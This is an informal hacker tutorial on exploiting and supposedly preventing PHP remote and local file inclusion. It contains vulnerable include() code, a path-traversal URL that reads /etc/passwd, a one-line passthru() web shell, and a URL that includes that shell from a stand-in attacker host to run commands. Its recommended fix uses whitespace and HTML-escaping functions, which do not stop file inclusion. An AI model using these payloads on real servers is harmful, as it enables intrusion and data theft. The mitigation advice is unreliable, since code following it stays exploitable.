Hostile Security

sunjester
Southern California

Remote/Local File Inclusion Exploits

Remote and local file inclusions are just a problem on the coding end, like most exploits. Of course it takes a second person to make it happen, hehe. So this paper will hopefully give you some ideas on how to prevenet a file inclusion exploit on your website and most importantly, in your code. I will be providing the code examples in PHP format.

Let's take a look at some code that make the RFI/LFI exploits possible.

```
<a href=index.php?page=file1.php>Files</a>
<?php
$page = $_GET[page];
include($page);
?>
```

Now obviously this should never be used. The $page input isnt sanitized at all. The $page input is passed directly to the damn webpage, which is a very big no no. You should always sanitize every input passed through the browser. When the user clicks the "Files" link on the webpage to visit "files.php" it will look something like this.

```
http://localhost/index.php?page=files.php
```

Now, since nobody cleaned the input on the $page variable, we can point it to anything we want. If this was hosted on a unix server we could view the passwd, shadowed, or configuration files for the server through that one uncleaned variable input. Viewing the filed on the server would be a "Local File Inclusion" or LFI exploit. Which is just as if not worse than an RFI exploit.

```
http://localhost/index.php?page=../../../../../../etc/passwd
```

Could possibly return the /etc/passwd. Now let's take a look at the RFI side of this exploit. So take the same code again that we had previously.

```
<a href=index.php?page=file1.php>Files</a>
<?php
$page = $_GET[page];
include($page);
?>
```

So now let's say we typed something like...

```
http://localhost/index.php?page=http://google.com/
```

We would probably get the google.com homepage included where the $page variable was inserted into the page originally. This is where the coder can get fucked, royally. We all know what the c99 shell can do, and if coders are careful they could be included into the page, allowing for the shell to let the user surf through sensitive files and directories at their leisure.

Let's look at something more simple that can be included in the webpage. A more quick and dirty way of using the RFI exploit to your advantage. So let's make a file called "test.php" and insert the following code into it, save it.

```
<?php
passthru($_GET[cmd]);
?>
```

Now, this file is something you can use to your advantage to include into a page that has the RFI exploit on it. The passthru() command in PHP is a very evil thing, and most hosts will have this "disabled for security reasons". What it does is execute commands on the server. So with that code in the test.php file we can send a request to the webpage containing the file inclusion exploit like this.

```
http://localhost/index.php?page=http://someevilhost.com/test.php
```

And since the code is asking for a $_GET request, we will provide a command which will be passed to the passthru() command. so now we would have something like this.

```
http://localhost/index.php?page=http://someevilhost.com/test.php?
cmd=cat /etc/passwd
```

Which, will use the cat command on a unix machine to reveal the /etc/passwd file. Now that we know how to exploit the RFI exploit, we need to know how to contain it and make it impossible for someone remotely to execute command and include remote pages on your server. First of all, we could disable the passthru() command, but then again maybe something on your site uses it (but let's hope not).

But that is only one thing you could do. I recommend cleaning the inputs like iv'e said earlier. Now, instaed of just passing the variable directly to the page we could use several built in functions that PHP offers. chop() which came originally from PERL, PHP has adopted. which removed whitespaces from a string. We could use its like this.

```
<a href=index.php?page=file1.php>Files</a>
<?php
$page = chop($_GET[page]);
include($page);
?>
```

There are many functions that can clean the string. htmlspecialchars(), htmlentities(), stripslashes(), and more. I prefer using my own functions to elimite clutter. We can build a function in PHP that cleans everything for you, here is something i built for this tutorial, quick and easy.

```
<?php
function cleanAll($input) {
        $input = strip_tags($input);
        $input = htmlspecialchars($input);
        return($input);
}
?>
```

Now, I hope you can see what is going on in that function, so you can add your own. I would suggest using the str_replace() function, and there are plenty of other functions to clean them, be creative and stop the madness of RFI & LFI exploits!

-   -   -
Written By: sunjester
Greetz: #deadworld, #wh0re, #d-u, Aelphaeis, Nightha|k, #serials&cracks, str0ke, WildHamster, the-klown, pixen
-   -   -